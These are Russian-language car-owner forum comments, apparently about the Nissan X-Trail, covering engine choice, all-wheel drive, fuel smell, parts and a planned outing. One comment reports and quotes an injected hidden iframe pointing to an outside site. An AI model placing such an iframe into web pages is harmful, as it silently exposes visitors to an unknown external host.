Ant

А мы надолго и не собираемся. Если снега не будет, можно через неделю. Ну в общем, как выпадет.

ну хз.... по мне так 33 тыс это ОЧЕНЬ дорого 7" планшет на 4-м андроиде сейчас стоит 70 баксов...

ага, опять пролез злобный ифрейм <iframe frameborder="0" src="http://goodp3.com/go.php?sid=2" width="100" height="3"/>

Поздравляю с покупкой!

Поздравляю с приобретением! Если хитрила на всесезонке, то все ж поаккуратней, полный привод дает чувство спокойствия, которым, порой, не надо обманываться

Народ, как вы смотрите на счет в следующее воскресенье выбраться на выездную хитриловку на 7 ключей? Пообщаемся, наберем родниковой воды, покатаемся по снежку (будем надеяться, выпадет еще), окунемся (по желанию).

Когда у меня был фокус, я зимой даже в гаражи иногда заехать не мог - когда трактор отвал делал на повороте. Выходил из машины и махал лопатой. После перехода на 4WD по крайней мере об этой проблеме забыл (и еще о многих других).

У меня центральный замок от ручки двери на обеих машинах работал только на открывание. Чтобы закрыть все двери, надо нажать на кнопку около стеклоподъемников.

Сероводородом может вонять от плохого бензина, который не может догореть в катализаторе. У нас бензин от роснефти этим грешил. Как заправишься 95-м оттуда - так сразу воняет тухлыми яйцами из трубы.

Лучше не надо, пластик может потемнеть.

Да сто раз уже обсасывали это. Случаи разные бывают, не надо зарекаться. Мощность - это безопасность. А способность создавать аварийные ситуации не зависит от того, на какой машине человек. В конце концов просто приятней на 2.5л ездить. Уж поверьте человеку, у которого обе машины были. Хотя... Каждый сам решает, что ему важней. В случае хитрилы разница невелика как в мощи, так и в расходе с налогом, вот если бы был выбор 2л vs 3л, тогда баталии еще были бы понятны...

Может быть, эти 2.5л понадобятся раз в жизни, но что это будет за раз - кто знает?..

Конечно, с блокировкой.

Именно! Наше авто не для светофорных гонок, а вот на трассе на скоростях от 100 км/ч как-то спокойней и комфортней, когда мощи под капотом побольше. И дело не в том, чтобы выбрать безопасный момент для обгона - это само собой, даже не обсуждается. Но ситуации разные бывают - выскочит кто-нибудь внезапно или еще что. На более мощном движке будет возможность среагировать более адекватно. Хотя что сравнивать 2 и 2.5, вот разница между ними не такая большая, вот если бы был V6 3.0 хотя бы...

Мне кажется, если никак не можешь сделать выбор - бери 2.5, тогда точно не будешь ни о чем жалеть. Не настолько сильно у него выше налог и расход, чтобы принимать во внимание, имхо. Зато как раз обгоны на трассе даются легче.

Просто в снос начинает идти ровно боком, в отличие от переднего привода. И газом не выправляется.

как такое может быть у более жестких амортизаторов? обычно наоборот, мягкие не замечают мелких неровностей дороги, а на жестких все отдается в зубы.

Такой же, а почему должен отличаться?

Да, пыльника отдельно не нашел, пришлось купить ремкомплект, ну да черт с ним, так спокойней. Тем более дожди идут третий день, водища кругом. Вовремя успел поменять.

Вернее, при равномерном прямолинейном движении нет полного привода (при котором он, собственно, и не нужен).

Два фиксированных положения - вкл/выкл. Подсветку - не помню точно, по-моему, нет.

Такое было на древних вискомуфтах, сейчас ничего внезапно не подключается

Насколько я знаю, как таковых разборок по хтрейлу нет, но есть фирмы, которые возят с разборок из Питера и Москвы, например, эта: http://www.razborka58.ru/

Справедливости ради - там машину вытягивали тросом

Да, думаю, разницы быть не должно. Не думаю, что небольшой уклон вносит такие коррективы. Тем более, тут на форуме есть тема, где люди с вариатором жалуются, что на ровном месте не могут въехать на бордюр.